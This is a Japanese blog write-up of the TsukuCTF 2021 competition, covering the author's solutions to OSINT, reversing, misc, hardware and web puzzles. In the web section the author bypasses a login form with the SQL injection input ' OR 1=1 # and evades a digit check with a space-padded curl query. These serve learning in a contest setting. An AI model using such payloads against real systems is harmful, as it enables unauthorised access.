プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

TsukuCTF 2021 write-up

TsukuCTF 2021に、一人チームrotationで参加しました。そのwrite-up記事です。

公式WriteupがHome | SecHack365-Fans HomePageで公開されています。

コンテスト概要

2021/09/11(土) 12:00:00 +09:00 – 2021/09/12(日) 11:59:00 +09:00 の期間でした。他ルールはRulesページより引用:

TsukuCTF について
    開催期間は 2021/09/11 12:00(JST) ~ 2021/09/12 11:59(JST)です。
    ジャンルは OSINT, Misc, Web, Crypto, Hardware, etc... を予定しています。
    問題の不具合や運営への質問は公式 Twitterへの ダイレクトメッセージ機能 をご利用ください。Twitter が使用できない方はtsukuctf@gmail.com宛にご連絡ください。ただし、メールアドレス宛の連絡は少々時間をいただく場合がございます。
    運営からの連絡は CTFd の Notifications 機能およびTwitterを用います。コンテスト中以外の連絡は基本的にTwitterを用います。
    フラグは何度でも入力することができます。ただし一部の問題は回数制限が設けられています。その場合は問題文に記載がございます。
    誤ったフラグを入力することによる減点はありません。
    問題の点数は解かれた人数に応じて減少します(一部を除く)。
    問題サーバへ大量アクセスすることでフラグを入手できる問題はございません。一部の問題を除いて 10 回以上アクセスする必要はありません。
    有償のツールや環境でしか解くことができない問題はありません。
    チームで参加する場合はアカウントを共有するのではなく、Team 機能をご利用ください。
    本 CTF の開催期間終了後であれば是非 Writeup を公開ください。
    本 CTF は NICT 主催の若手セキュリティイノベーター育成プログラムSecHack365の修了生イベントに際して開催されています。
フラグ形式
    フラグは TsukuCTF{} という形式をとります。例えば答えとなる文字列が THIS_IS_FLAG の場合、フラグは TsukuCTF{THIS_IS_FLAG} となります。
    フラグに使用可能な文字は数字、アルファベット、記号、ひらがな、カタカナ、漢字など、UTF-8 に含まれる文字の多くが含まれます。表示不可能な文字は基本的に含まれません。具体的な文字に関しての質問がある場合は上記の連絡先へご連絡ください。

結果

正の得点を得ている182チーム中、4059点で11位でした。

f:id:Tan90909090:20210912130605p:plain
最終の順位と得点
f:id:Tan90909090:20210912130908p:plain
緑:解けた問題
f:id:Tan90909090:20210912130700p:plain
各種統計

環境

Windows+WSL2(Ubuntu)で取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19043.1202]

c:\>wsl -l -v
  NAME          STATE           VERSION
* Ubuntu        Running         2

c:\>

WSL

$ cat /proc/version
Linux version 5.10.16.3-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Fri Apr 2 22:23:49 UTC 2021
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.5 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
$ python3.8 --version
Python 3.8.0
$ python3.8 -m pip show pip | grep Version
Version: 21.2.4
$ python3.8 -m pip show requests | grep Version
Version: 2.26.0
$ curl --version
curl 7.58.0 (x86_64-pc-linux-gnu) libcurl/7.58.0 OpenSSL/1.1.1 zlib/1.2.11 libidn2/2.0.4 libpsl/0.19.1 (+libidn2/2.0.4) nghttp2/1.30.0 librtmp/2.3
Release-Date: 2018-01-24
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL

解けた問題

[Tsukushi] Welcome (154 solves, 100 pts)

TsukuCTF 2021にご参加いただきありがとうございます。フラグの形式は全てTsukuCTF{}です。この問題のフラグはTwitterのアカウント名です。質問などはTwitterのDMにお願い致します。

※トップページのロゴに何か隠れています… (競技には無関係です)

Twitter箇所には@tsukuctfへのリンクが貼られています。スクリーン名がフラグ文字列形式だったので、それを提出すると正解できました: TsukuCTF{2021}

[OSINT, easy] ramen (93 solves, 100 pts)

ハッカーにとってラーメンは必須の飲み物だといわれています。写真のラーメン店の本店のインスタグラムIDを特定してください。

配布ファイルは以下の画像でした: f:id:Tan90909090:20210912130954p:plain とりあえずGoogle画像検索してみましたがスープ系画像がヒットしてしまいました。調べてみると他にBingの画像検索がおすすめとのことなので試してみるとトレーニング後の | salon-luimoonのブログという記事を見つけました。記事に梅田ルクアの篝〔かがり〕の鶏白湯ラーメンとの言及がありました。そのお店の名前で調べてみると銀座 篝 ルクア大阪店 (ギンザ カガリ) - 大阪/ラーメン | 食べログが見つかり、1枚目の画像が配布ファイルとよく似ていいました。

最初は大阪店のインスタグラムIDTsukuCTF{kagari_osaka}を提出して不正解になりました。問題文を読み直して、本店のIDを探して提出して正解できました: TsukuCTF{kagari_honten}

[OSINT, medium] train (84 solves, 100 pts)

画像が撮られた駅名を答えてください。
    この問題は5回までしか提出できません。
    駅名は東京近郊路線図内に記載されている駅名の英語表記を使用します。
    駅名がそのままフラグになります。仮に駅名がKyotoの場合、フラグはTsukuCTF{Kyoto}となります。

問題文中の東京近郊路線図箇所にはhttps://www.jreast.co.jp/map/pdf/map_tokyo.pdfへのリンクが貼られています。配布ファイルを確認すると以下の画像でした(元は22MBのpngだったのでjpg変換しています): f:id:Tan90909090:20210912131141j:plain 山手線が5番乗り場、京浜東北線東京方面が6番線である駅の画像です。路線図を見て、2つの路線が通る駅を調べると品川~田端のようなので順番に見ていきました。JR東日本:駅構内図(新橋駅)の2Fの配置が適切だったので提出してみると正解でした: TsukuCTF{Shimbashi}

[OSINT, medium] shop (83 solves, 100 pts)

Tsukushiくんはショッピングモールにデートに来ましたが、相手がいなかったことに到着してから気づきました。帰ろうと思いましたがここがどこかわかりません。動画内に映っているショッピングモールの店舗名を特定してください。

配布ファイルを確認すると10秒の動画ファイルでした。無印良品、トイザらス、ユニクロ、GUが入っているイオンモールの光景が最初に、推定滋賀のナンバープレートを持つ車が最後に一瞬映っていました。滋賀 AEON 無印良品 トイザらス GU - Google 検索でイオンモール草津が最初に出てきたので提出してみると正解でした: TsukuCTF{イオンモール草津}

[OSINT, easy] Beach (80 solves, 100 pts)

これは東京近郊に住んでいる筑紫くんと素日華くんの会話です。

筑紫「もう待ち合わせ時間なんだけど、まだ?」
素日華「もう少し待ってくれ!もうすぐ待ち合わせ場所の駅に着くんだけど...」
筑紫「今どこにいる?写真送ってくれない?」
素日華「おっけい!」

素日華くんは 2 枚の画像を筑紫くんに送りました。この画像をもとに、筑紫くんと素日華くんの待ち合わせ場所を特定してください。以下の制約に従ってください。

    この問題は10回までしか提出できません。
    待ちあわせ場所は JR の駅です。
    写真を撮られた座標からユークリッド距離が一番近い駅が待ち合わせ場所です。
    駅名は東京近郊路線図内に記載されている駅名の英語表記を使用します。
    駅名がそのままフラグになります。仮に駅名が Kyoto の場合、フラグは TsukuCTF{Kyoto} となります。

問題文中の東京郊外路線図にはhttps://www.jreast.co.jp/map/pdf/map_tokyo.pdfへのリンクが貼られています。配布ファイルを確認すると以下の2つの画像がありました: f:id:Tan90909090:20210912131225j:plain f:id:Tan90909090:20210912131237j:plain 2枚目の左にあるアルファベットCの形のモニュメントが目立つので東京 近郊 C モニュメントで検索すると、茅ヶ崎サザンC クチコミ・アクセス・営業時間|茅ヶ崎【フォートラベル】の記事に茅ヶ崎の頭文字「C」の形をした、サザンビーチのシンボルとなるモニュメント。Cの右側に人が立つとCの切れ目が繋がって円(縁)になる縁結びの名所。との記述を見つけました。またアクセス箇所に茅ヶ崎駅から徒歩で20分との記述がありました。茅ヶ崎駅で提出してみると正解できました: TsukuCTF{Chigasaki}

[OSINT, easy] fishing (77 solves, 100 pts)

初めての釣りで楽しみだなー! 友達が先に待ってるらしい。 友達から写真が送られてきた。 あれ、どこだっけ...?

写真の場所を答えて下さい。

配布ファイルを確認すると以下の画像でした: f:id:Tan90909090:20210912131258p:plain 橋の形が特徴的ですが、うまく言語化できず調べられませんでした。Google画像検索してみると若洲公園キャンプ場がヒットしました。橋の形が一致しているので恐らくそこだと思ってフラグ提出をはじめました。若洲公園キャンプ場, 江東区立若洲公園, 若洲公園, 東京ゲートブリッジ等で間違えた後に正解できました: TsukuCTF{若洲海浜公園}

[OSINT, medium] YUUGEN (47 solves, 100 pts)

とあるアニメのファンである都久志くんはそのアニメのコラボ列車を人目見ようと駅に向かった。しかし、駅は密状態だったため駅構内に入るのを諦めて、駅の外から見ることにしたのであった。
    この問題は10回までしか提出できません。
    駅名はJR線 駅ナンバリング路線図内に記載されている駅名の英語表記を使用します。
    駅名がそのままフラグになります。仮に駅名がKyotoの場合、フラグは TsukuCTF{Kyoto} となります。

問題文中のJR線 駅ナンバリング路線図にはhttp://www.jrkyushu.co.jp/news/__icsFiles/afieldfile/2018/09/28/Newsrelease-ekinumbering.pdfへのリンクが貼られています。配布ファイルを確認すると13秒の動画ファイルでした。動画内容は汽車が走る様子を撮影したもので、汽車の先頭には無限と書かれたプレートがあり、汽車の側面にはSL人吉KYUSHU RAILWAY COMPANYの文字列を確認できました。

それらのキーワードで調べてみるといくつかの記事が見つかりました。その中の1つ、「SL鬼滅の刃」が追加運行! 熊本~博多間で片道5本 JR九州「今回で最後」 | 乗りものニュースでは熊本駅を8時35分に出発し、途中は久留米駅と鳥栖駅に停車。終点の博多駅には13時04分に到着します。との記述がありました。そのためJB 鹿児島本線を南から北へ進む汽車を撮影したものと推測しました。

9回まで間違えられるので、Googleマップで各駅について航空写真を確認して、それっぽいものを提出していきました。結果、竹島駅が正解でした: TsukuCTF{Takeshita}

[OSINT, medium] InterPlanetary Protocol (20 solves, 340 pts)

大変だ!つくし星に住むエイリアンが団結して地球を侵略しにくる!以下の文字列は、つくし星で使われている特殊なウェブサイトのURLらしい。このウェブサイトをなんとか開いて、侵略計画を手に入れるのだ!!!

    bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu

    bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga

    bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm

配布ファイルは無い問題です。ぱっと見Torのonionアドレスだと思って試してみましたがInvalid Onionsite Addressでした。

3URLともbafybeiから始まっているのでそのあたりで調べてみると、ec1oud/nettebook: a hypertext notebookbase32 CIDs don't always start with bafybeiとの記述を見つけました。関連するものを見調べていると、IPFS(InterPlanetary File System)で使われるアドレスらしいことが分かってきました、問題タイトルと関係ありました!

最初はIPFS入門 :: IPFS入門の手順でipfsコマンドをインストールして試したのですがだめでした:

$ ipfs cat bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu
Error: merkledag: not found
$ ipfs cat bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga
Error: merkledag: not found
$ ipfs cat bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm
Error: merkledag: not found
$

その後、What is IPFS? | IPFS DocsのTIPS箇所でHTTPSアクセスでも確認できることを知ったので試してみました:

$ curl https://ipfs.io/ipfs/bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu
TsukuCTF{IPFS_
$ curl https://ipfs.io/ipfs/bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga
_is_the_
$ curl https://ipfs.io/ipfs/bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm
future}
$

意気揚々とTsukuCTF{IPFS__is_the_future}を提出してみましたが不正解でした。二重アンダースコアが怪しいと思って提出し直してみると正解できました: TsukuCTF{IPFS_is_the_future}

フラグ内容はその後修正されたようです:

InterPlanetary Protocolフラグの不備について
    フラグが想定通り正しく設定されていなかったため修正いたしました。今後は以前のフラグでもAcceptされます。フラグを取得できたにもかかわらずRejectされた方は再度投稿いただけますようよろしくお願いいたします。
    September 11th, 8:42:06 PM

[OSINT, easy] uiui (18 solves, 372 pts)

Tsukushiくんのパソコンがマルウェアに感染したようです。彼から一般に決められた方法で検体を送ってもらいましたが、解析にあたってマズイことをしてしまいました。彼は感染したことをほかの人に知られたくないようです。バレますかね?

問題文中の一般に決められた方法は太字で強調されています。配布ファイルはパスワード付きZipファイルでした。

この手の場合の一般的なパスワードとしてvirus, malware, infectedがあるので試してみるとinfectedで展開できました。展開結果はELF形式でした:

$ file Virus
Virus: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=53d6384c6183f5092ab981cd7897fb1c8a71f1b5, for GNU/Linux 3.2.0, not stripped
$ sha256sum Virus
94ec98eca02b22b85abce1f82514fa267e566c0fee16339c2c8cd845b5c46716  Virus
$

とりあえずVirusTotalでハッシュ値検索してみるとVirusTotal - File - 94ec98eca02b22b85abce1f82514fa267e566c0fee16339c2c8cd845b5c46716がヒットし、ハッシュ値箇所の次にフラグが書かれていました: TsukuCTF{Careless_uploading_is_dangerous}

ちなみにELFファイル内容を調べてみると、つくし愛好家のメッセージが表示されるものでした:

$ ./Virus
Tsukushi is delicious.Tsukushi is delicious.Tsukushi is delicious.
$

[Rev, hard] Legacy code (7 solves, 484 pts)

帆場くんが新卒で入社したDefios株式会社で任されたのは、過去プロダクトのソースコード改修。渡されたフロッピーディスクに入っていたのは1つのアセンブリ言語ソースファイル。改修作業に入る前にコードを実行してみる必要があるが、なんだか見たこと無いアセンブリ言語に帆場くんは困惑。上司には「実行しなくても、これがあれば出力結果はわかるよ」とこのWebサイトを教えてもらったが...

※実行結果として予想される標準出力文字列をフラグとして解答してください。 仮に文字列がhogehoge0123の場合、フラグはTsukuCTF{hogehoge0123}となります。

最初に懺悔しておきます。Reversingしていません!

問題文中のDefios株式会社にはDefios株式会社へのリンクが、このWebサイト箇所にはFloat,Double型をバイナリに変換して精度を確認 - しらいとブログへのリンクが貼られています。配布ファイルを確認するとアセンブリファイルでした:

$ file main.asm
main.asm: assembler source, ASCII text
$ cat main.asm
        .arch i286,jumps
        .code16
        .att_syntax prefix
        .section        .rodata

.LC0:
        .string "PC%d%.0f\n"
        .text
        .global main
        .type   main, @function

main:
        enterw  $24-2,  $0
        movw    $9,     -2(%bp)
        movw    $0,     -6(%bp)
        movw    $0,     -4(%bp)
        movw    $0x28A4, -10(%bp)
        movw    $0x4448, -8(%bp)
        movw    $0xE148, -14(%bp)
        movw    $0x3EBA, -12(%bp)

        .arch pentium
        finit
        fld     -10(%bp)
        fld     -14(%bp)
        faddp   %st(0), %st(1)
        fstp    -6(%bp)
        fwait
        .arch i286

        movw    -6(%bp),        %ax
        movw    -4(%bp),        %dx
        leaw    -22(%bp),       %cx
        pushw   %dx
        pushw   %ax
        pushw   %cx
        pushw   %ss
        popw    %ds
        call    __extendsfdf2
        addw    $6,     %sp
        movw    -22(%bp),       %cx
        movw    -20(%bp),       %ax
        movw    -18(%bp),       %dx
        movw    -16(%bp),       %bx
        pushw   %bx
        pushw   %dx
        pushw   %ax
        pushw   %cx
        pushw   -2(%bp)
        pushw   $.LC0
        pushw   %ss
        popw    %ds
        call    printf
        addw    $12,    %sp
        movw    $0,     %ax
        movw    %ax,    %ax
        movw    %ax,    %ax
        leavew
        pushw   %ss
        popw    %ds
        ret
        .size   main, .-main
        .ident  "GCC: (GNU) 6.3.0"
$

AT&T記法で読みづらいので、まずはコンパイルすることにしました。MS-DOS(PC-98)のアプリケーションをC言語で作る - 少ないリソースを酷使するのサイトを参考にgcc-ia16-elfパッケージからia16-elf-gccコマンドをインストールしてコンパイルしました(拡張子が重要なことに気づくまではまってました):

$ ia16-elf-gcc -march=i286 -o main.com main.asm
/usr/lib/x86_64-linux-gnu/gcc/ia16-elf/6.3.0/../../../../../ia16-elf/bin/ld:main.asm: file format not recognized; treating as linker script
/usr/lib/x86_64-linux-gnu/gcc/ia16-elf/6.3.0/../../../../../ia16-elf/bin/ld:main.asm:1: syntax error
collect2: error: ld returned 1 exit status
$ mv main.asm main.S
$ ia16-elf-gcc -march=i286 -o main.com main.S
$ file main.com
main.com: COM executable for DOS
$

さてそれでは逆アセンブルを、と思いましたがIDA Free版ではPEファイル以外は扱えず、GhidraでもRaw形式のデータと解釈されてしまいました。

実際に実行することは出来るのかと次に考えました。Rust で DOSでFreeDOSというものがあることを知り、インストール等を試してみましたが、先程コンパイルしたCOMファイルを持っていく方法がわからず挫折しました。

そういえば32-bit WindowsではコマンドプロンプトからCOMファイルを実行できるのでは、と最終的に思いつきました。古いマシンを引っ張り出してきて実行するとPC9801と表示されました。後は問題文のとおりに提出して正解できました: TsukuCTF{PC9801}

[Misc, easy] Customization (98 solves, 100 pts)

Tsukushiくんは自分を鍛えるために、毎日欠かさず活動を行う習慣化を行うことにしました。マンダラートを利用しますが、晒されるのが恥ずかしいので目標の部分を消してしまったようです。目標を見つけてください。
https://docs.google.com/spreadsheets/d/1Q-3HaD9aIsjT6bDFSp3avXMbrHB6g0OsR3hfuB9MSvE/edit#gid=0

※追記(12:45): フラグが想定とは別のものになっていましたので修正いたしました。以前のフラグでもAcceptされるよう変更しました。

URLにアクセスして、中央の空白セルを選択すると、上部のテキスト表示欄にフラグが表示されました: TsukuCTF{yak1n1ku_ta6eta1}

[Misc, easy] TORItsukushi (90 solves, 100 pts)

大文字文字列 TSUKUSHI を可能な限り何度も取りつくしてください。残った文字列がフラグです。フラグ内に大文字文字列 TSUKUSHI は含まれていません。

※追記(12:38): 文中に大文字を追加しました。

配布ファイルを確認すると長い1行テキストファイルでした:

$ file many_tsukushi.txt
many_tsukushi.txt: ASCII text, with very long lines, with no line terminators
$ wc many_tsukushi.txt
    0     1 80051 many_tsukushi.txt
$

雑にtrコマンドでTSUKUSHIを取り尽くしました:

$ tr -d 'TSUKUSHI' <many_tsukushi.txt
sukuCF{Would_you_like_some_fresh-baked_sukushi?}$
$

エスパーしてTを補って提出すると正解できました: TsukuCTF{Would_you_like_some_fresh-baked_Tsukushi?}

[Misc, medium, sechack365] discriminate (25 solves, 244 pts)

Tsukushiくんは、大学のセキュリティの授業のレポート課題をしていますが、まだほとんどレポートを書けていません。しかし、締切が刻一刻と迫っています。Tsukushiくんは是が非でも単位を落としたくないので、悪に染まってコピー・アンド・ペーストに手を染めることを決意します。単にコピー・アンド・ペーストをするだけでは、簡単に見つかってしまうためTsukushiくんは、自然言語処理を用いて、実際のコピー元の文章と見分けがつかないような文章を作成・生成することにしました。

GPT-2は大規模言語モデルの一つで、何らかの文字列を与えると、後続の(自然に見えるような)テキストを生成します。例えば、むかしむかしあるところにという文字列を与えると後続の、あるところに、おじいさんとおばあさんが住んでいました。という文字列を生成します。

Tsukushiくんは、コピー元の文章の冒頭からk文字をGPT-2に入力し、後続の文章を生成しました。 なお、コピー元の文章はSecHack365の成果物ポスターの一部であることがわかっています。

TsukushiくんがGPT-2から生成した文章が与えられます。与えられた文章から、Tsukushiくんがオリジナルの文章のどの部分をコピー・アンド・ペーストしたかを答えてください。フラグは、TsukushiくんがGPT-2に入力したオリジナルの文章の最後の5文字です。

例えば、設問で与えられた文章が、

むかしむかしあるとことに、あるところに、おじいさんとおばあさんが住んでいました。 おばあさんは、おじいさんが、おじ

とします。その文章に対して、TsukushiくんがGPT-2に入力したオリジナルの文章が

むかしむかしあるところに

である場合には、回答は

TsukuCTF{るところに}

となります。
文章の生成方法

以下のレシピにしたがって文章を生成しています。

    モデル: https://huggingface.co/rinna/japanese-gpt2-medium
    設定は以下の設定になっています。書いてない部分は、デフォルトパラメータです。

do_sample=False

ただし、パラメータmax_lengthは非公開です。公開すると答えがわかるので。 なお、生成されていた文章にスペースや何らかのタグがある場合は削除をしています。

配布ファイルを確認すると2つのテキストファイルでした:

$ cat text0.txt
握るだけで解錠できるスマートドアハンドルを開発した。静脈認証が外側のドアハンドルに埋め込まれている。静脈認証は、身体の内部にある静脈パターンを読み取り、そのパターンに合致するドアハンドルを自動的に開く。スマートドアハンドルは、ドアハンドルの内側に内蔵されたセンサーが、ドアハンドルの開閉を検知して、自動的に開閉する。
$ cat help.txt
以下の記事を参考に実装をしています。回答の参考にしてください。
- 参考文献: https://note.com/npaka/n/n96dde45fdf8d
$

問題文にあるSecHack365の成果物ポスターを探してみるとhttps://sechack365.nict.go.jp/achievement/2020/pdf/2020_08.pdfが出典元に思えました。その中の、右側握るだけで解錠できるスマートドアハンドル中の概要箇所の、握るだけで解錠できるスマートドアハンドルを開発した。静脈認証が外側のドアハンドルに埋め込まれている。静脈認証は、身体の内部にある静脈パターンをまでが配布テキストと一致しています。とりあえずその範囲の後ろ5文字を提出してみると正解でした: TsukuCTF{パターンを}

GPT-2やモデルの話を全く使っていないのですがこれは想定解法なんでしょうか……?

[Hardware, easy] CAD (82 solves, 100 pts)

少し早いが筑紫くんと素日華ちゃんは少し早いが今年のクリスマスについて話をしていた。
素日華ちゃん「クリスマス、キーホルダーが欲しいな~」
筑紫くん「いいよ~素日華の好きな動物を模したものを作っちゃおうかな~」
そして、筑紫くんは3Dプリンタで彼女の好きな動物をキーホルダーにして、メッセージも残したらしい。

※この問題はCADソフトが手元ない場合でも解くことが可能です。

配布ファイルはよくわからないファイルでした:

$ file present.stl
present.stl: data
$

中身はバイナリファイルで、STLB ATF 10.10.0.1391から始まる内容であったもののそれ以外に意味のありそうなテキストは見つけられませんでした。

何故かPaint 3Dを初めて起動してファイルを投げてみると、なんと読み込んで表示できました。何故この発想に至れたのか本人にも分かりません。回転させているとキーホルダー裏面に文字が刻まれていました: f:id:Tan90909090:20210912131326p:plain 1文字1文字目で拾ってフラグを入手できました: TsukuCTF{ILIK3B3ar}

[Hardware, easy] Ltika (49 solves, 100 pts)

Tsukushiくんはシリアル通信等メッセージを送ることに飽きてしまったため、Lチカ(LEDを光らせること)でメッセージを伝える方法を考案した。メッセージを(ローマ字(大文字)、数字、記号を含む)フラグ形式で答えてください。例えばメッセージがTSUKUSHI123&の場合、フラグはTsukuCTF{TSUKUSHI123&}となります。

※この問題はマイコンが手元にない場合でも解くことが可能です。(Tinkercadを使ったardunioのシミュレータも使用可)

配布ファイルはLtika.inoと見慣れない拡張子でしたが、実際はC言語のようなソースコードでした:

void setup() {
  // initialize digital pin LED_BUILTIN as an output.
  pinMode(LED_BUILTIN, OUTPUT);
}

void blinking(){
  digitalWrite(LED_BUILTIN, HIGH);
  delay(500);
  digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
  delay(300);                       // wait for a second
}
void lit(){
  digitalWrite(LED_BUILTIN, HIGH);   // turn the LED on (HIGH is the voltage level)
  delay(2000);                       // wait for a second
  digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
  delay(300);                       // wait for a second
}

void wait(){
  digitalWrite(LED_BUILTIN, LOW);
  delay(1200);
}
// the loop function runs over and over again forever
void loop() {
  blinking();
  wait();

  lit();
  blinking();
  wait();

  blinking();
  lit();
  lit();
  lit();
  wait();

  lit();
  lit();
  lit();
  lit();
  lit();
  wait();

  lit();
  blinking();
  lit();
  lit();
  wait();

  blinking();
  blinking();
  blinking();
  blinking();
  wait();

  blinking();
  lit();
  wait();

  blinking();
  lit();
  blinking();
  wait();

  lit();
  blinking();
  blinking();
  wait();

  blinking();
  lit();
  lit();
  wait();

  blinking();
  lit();
  wait();

  blinking();
  lit();
  blinking();
  wait();

  blinking();
  wait();

  lit();
  blinking();
  lit();
  blinking();
  lit();
  lit();
  wait();

  delay(3000);
}

LEDを時間制御しているようです。各関数の違いを考えてみると、lit関数がモールス信号のツーを、blinking関数がトンを、wait関数が空白を表しているように思いました。loop関数の内容をテキストエディタで置換していくと次の内容を得られました:

. -. .--- ----- -.-- .... .- .-. -.. .-- .- .-. . -.-.--

後はこれを、CyberChefhttps://gchq.github.io/CyberChef/#recipe=From_Morse_Code(%27Space%27,%27Line%20feed%27)&input=LiAtLiAuLS0tIC0tLS0tIC0uLS0gLi4uLiAuLSAuLS4gLS4uIC4tLSAuLSAuLS4gLiAtLi0uLS0で復号しました:

ENJ0YHARDWARE!

後は問題文のとおりの形式にしてフラグを提出しました: TsukuCTF{ENJ0YHARDWARE!}

[Hardware, easy] PCB (29 solves, 152 pts)

筑紫くん「素日華の誕生日プレゼントに彼女の好きな星座を基板に入れたけど気づいてくれるかな~」
フラグは星座を表す英単語大文字で答えてください。例えば星座が仔犬座の場合はTsukuCTF{CANIS MINOR}、獅子座の場合はTsukuCTF{LEO}となります。

※この問題は基盤設計ソフトが手元ない場合でも解くことが可能です。

配布ファイルを確認するといくつかのファイルがありました:

$ file *
TsukCTF-B_Cu.gbl:      ASCII text, with CRLF line terminators
TsukCTF-B_Mask.gbs:    ASCII text, with CRLF line terminators
TsukCTF-B_SilkS.gbo:   ASCII text, with CRLF line terminators
TsukCTF-Edge_Cuts.gm1: ASCII text, with CRLF line terminators
TsukCTF-F_Cu.gtl:      ASCII text, with CRLF line terminators
TsukCTF-F_Mask.gts:    ASCII text, with CRLF line terminators
TsukCTF-F_SilkS.gto:   ASCII text, with CRLF line terminators
TsukCTF-job.gbrjob:    ASCII text, with CRLF line terminators
TsukCTF.drl:           ASCII text, with CRLF line terminators
$ grep "CTF" *
TsukCTF-B_Cu.gbl:%TF.ProjectId,TsukCTF,5473756b-4354-4462-9e6b-696361645f70,rev?*%
TsukCTF-B_Mask.gbs:%TF.ProjectId,TsukCTF,5473756b-4354-4462-9e6b-696361645f70,rev?*%
TsukCTF-B_SilkS.gbo:%TF.ProjectId,TsukCTF,5473756b-4354-4462-9e6b-696361645f70,rev?*%
TsukCTF-Edge_Cuts.gm1:%TF.ProjectId,TsukCTF,5473756b-4354-4462-9e6b-696361645f70,rev?*%
TsukCTF-F_Cu.gtl:%TF.ProjectId,TsukCTF,5473756b-4354-4462-9e6b-696361645f70,rev?*%
TsukCTF-F_Mask.gts:%TF.ProjectId,TsukCTF,5473756b-4354-4462-9e6b-696361645f70,rev?*%
TsukCTF-F_SilkS.gto:%TF.ProjectId,TsukCTF,5473756b-4354-4462-9e6b-696361645f70,rev?*%
TsukCTF-job.gbrjob:      "Name": "TsukCTF",
TsukCTF-job.gbrjob:      "Path":  "TsukCTF-F_Cu.gtl",
TsukCTF-job.gbrjob:      "Path":  "TsukCTF-B_Cu.gbl",
TsukCTF-job.gbrjob:      "Path":  "TsukCTF-F_SilkS.gto",
TsukCTF-job.gbrjob:      "Path":  "TsukCTF-B_SilkS.gbo",
TsukCTF-job.gbrjob:      "Path":  "TsukCTF-F_Mask.gts",
TsukCTF-job.gbrjob:      "Path":  "TsukCTF-B_Mask.gbs",
TsukCTF-job.gbrjob:      "Path":  "TsukCTF-Edge_Cuts.gm1",
$

全くわからないので基板設計ソフトをインストールすることにしました。TsukCTF-job.gbrjobファイルに"Vendor": "KiCad"とあったので、Download | KiCad EDAからKiCad 5.1.10をダウンロードしてインストールしました。KiCad用プロジェクトファイルの.proファイルはありませんが、KiCad同梱のGerbViewerでは各ファイルを読み込むことが出来ました: f:id:Tan90909090:20210912131404p:plain 星の配置らしいものが分かったので、あとは各種サイトで星座の星配置を探しつつ、星座の一覧 - Wikipediaの英語表記を使ってフラグを提出していきました。わし座、つる座で間違った次に、はくちょう座を提出すると正解でした: TsukuCTF{CYGNUS}

[Web, easy] Login (79 solves, 100 pts)

これは筑紫君が運営する会員制サイトです。こっそり覗いてみましょう。

https://tsukuctf.sechack365.com/problems/login

※ この問題では/problems/login以下のみを用います。 他の問題/problems/<name>などと混同しないよう注意してください。

URLにアクセスすると、UsernameとPasswordのログインフォームがありました。とりあえずPassword欄に' OR 1=1 #と入れてみるとログインに成功しました。ログイン後、トップページに戻ると表示が変わっていました:

Welcome!
The flag is TsukuCTF{You_4r3_SUP3R_H4CKER}

フラグを入手できました: TsukuCTF{You_4r3_SUP3R_H4CKER}

[Web, medium] digits (63 solves, 100 pts)

コンピュータは高速に正しく計算してくれますが、昔のコンピュータは今ほど正確に計算できないことがありました。現在もハードウェアの故障などが原因でとても低い確率でコンピュータは計算をミスするでしょう。 運が良いあなたならこの問題が解けるはずです。10 桁の好きな数字をクエリパラメータ q に入れて、神に祈りましょう。

https://tsukuctf.sechack365.com/problems/digits

※ この問題では/problems/digits以下のみを用います。 他の問題/problems/<name>などと混同しないよう注意してください。

※追記(12:16): プログラムファイルを追加しました。

配布ファイルはサーバー側スクリプトprogram.pyでした:

from typing import Optional
from fastapi import FastAPI
import random

app = FastAPI()

FLAG = "TsukuCTF{}"


@app.get("/")
def main(q: Optional[str] = None):
    if q == None:
        return {
            "msg": "please input param 'q' (0000000000~9999999999).  example: /?q=1234567890"
        }
    if len(q) != 10:
        return {"msg": "invalid query"}
    if "-" in q or "+" in q:
        return {"msg": "invalid query"}
    try:
        if not type(int(q)) is int:
            return {"msg": "invalid query"}
    except:
        return {"msg": "invalid query"}

    you_are_lucky = 0

    for _ in range(100):
        idx = random.randrange(4)
        if q[idx] < "0":
            you_are_lucky += 1
        if q[idx] > "9":
            you_are_lucky += 1

    if you_are_lucky > 0:
        return {"flag": FLAG}
    else:
        return {"msg": "Sorry... You're unlucky."}
$

問題文のようなエラーを祈る戦法は無理そうなので別の方法を考えます。10進数整数として解釈可能で+-も含まない文字列、というわけでスペース9個の後に1桁数字の入力を試しました:

$ curl 'https://tsukuctf.sechack365.com/problems/digits?q=+++++++++1'
{"flag":"TsukuCTF{you_are_lucky_Tsukushi}"}
$

